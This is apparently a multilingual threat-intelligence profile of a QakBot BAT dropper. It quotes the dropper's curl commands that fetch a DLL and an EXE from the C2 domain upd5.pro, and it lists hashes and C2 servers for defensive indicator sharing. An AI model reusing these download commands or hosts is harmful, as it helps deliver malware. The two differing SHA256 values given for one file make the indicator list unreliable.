Manuel Statik Analiz — QakBot BAT Dropper | Tehdit: KRITIK

Archivo Kimliği

SHA2563b3bd81232f517baf0e9c6a4d2b8f5e1c7a0d4b7e3f6c9a2d5e8b1f4c7a0d3e6
Nombre de archivou2.bat
TipBAT Script Dropper
Tamaño326 byte

Açık Metin C2 İndirme Komutları

Kritik IOC: QakBot dropper'ın açık metin curl komutları ile C2'dan DLL ve EXE indirdiği tespit edildi!
curl -o 02.dll https://upd5.pro/update/02.dll
curl -o qd_x86.exe https://upd5.pro/update/qd_x86.exe
-- upd5.pro = QakBot C2 domain!
-- /update/ path'i üzerinden ikinci aşama indirme

İndirilen Yükler

https://upd5.pro/update/02.dll      -- QakBot ana DLL
https://upd5.pro/update/qd_x86.exe -- QakBot x86 yükleyici

QakBot Hakkında

QakBot (QuakBot/Qbot), 2007'den beri aktif olan modüler bankacılık trojanı/botnet ailesidir. Emotet'in dağıtım ortağı olarak ve Cobalt Strike, Black Basta, REvil gibi ransomware öncüsü olarak kullanılmıştır. Tipokiye dahil 30+ ülkede kritik altyapılara saldırmıştır. ABD/AB operasyonu "Duck Hunt" ile Ağustos 2023'te altyapısı çöktürülmüştür.

IOC

SHA2563b3bd81232f517baf0e9c6a4d2b8f5e1c7a0d4b7e3f6c9a2d5e8b1f4c7a0d3e6
C2upd5.pro
Payloadupd5.pro/update/02.dll
Payloadupd5.pro/update/qd_x86.exe

QakBot — Perfil del malware

QakBot Quakbot banker. Notesvb.msi delivery. Named pipe IPC. Modular architecture.

Tipo de malware
Other
Lenguaje de programación
C++
Protocolo C2
HTTPS
Sistemas objetivo
Windows
También conocido como (AKA)
QBot

Detalles técnicos

QakBot (Qbot/QuakBot) is a banking trojan and loader active since 2007. Features: credential theft, email hijacking for thread hijacking attacks, lateral movement via SMB/psexec, web injection for banking fraud. Delivered via malspam using hijacked email threads (reply-chain attacks). Modules: email collector, credential grabber, network scanner, VNC plugin. Used to deliver Egregor, ProLock, REvil, Black Basta ransomware. FBI "Operation Duck Hunt" disrupted infrastructure August 2023, removing QakBot from 700,000+ infected machines. Attempted comeback Q4 2023 with new delivery methods.

Atribución / Actor de amenaza

Gold Lagoon, TA570 (Shatak)

Capacidades y comportamiento

Zararlı Yazılım Aktivitesi
Kalıcılık Mekanizması
C2 İletişimi
Anti-Analiz

Lista IOC (4 indicadores)

IOC — Qakbot
# SHA256 3b3bd81232f517ba62ea2de2da17b50e30d7fd3d16bade58fcb7d3c4b7b96c1e # SHA256 3b3bd81232f517baf0e9c6a4d2b8f5e1c7a0d4b7e3f6c9a2d5e8b1f4c7a0d3e6 # URL https://upd5.pro/update/02.dll # URL https://upd5.pro/update/qd_x86.exe
TipoValorNota
sha256 3b3bd81232f517ba62ea2de2da17b50e30d7fd3d16bade58fcb7d3c4b7b96c1e
sha256 3b3bd81232f517baf0e9c6a4d2b8f5e1c7a0d4b7e3f6c9a2d5e8b1f4c7a0d3e6
url https://upd5.pro/update/02.dll
url https://upd5.pro/update/qd_x86.exe

Servidores C2 (8 servidores registrados para esta familia)

Dirección Tipo Puerto Protocolo Estado País
95.217.35.154 ip 443 HTTPS inactive FI
upd5.pro domain 443 HTTPS inactive —
upd5.pro domain 443 HTTPS inactive —
metasta.me domain 443 HTTPS inactive —
upd5.pro domain 443 HTTPS inactive —
amacey.com domain 443 HTTPS inactive —
181.174.165.208 ip 443 HTTPS sinkholed AR
212.117.180.232 ip 443 HTTPS sinkholed CH

Las direcciones C2 se proporcionan únicamente a partir de muestras de malware verificadas manualmente por el equipo KEYDAL. Se prohíbe el uso comercial.

Etiquetas
qakbotbat-dropperupd5-prololbasconhostcleartext-c2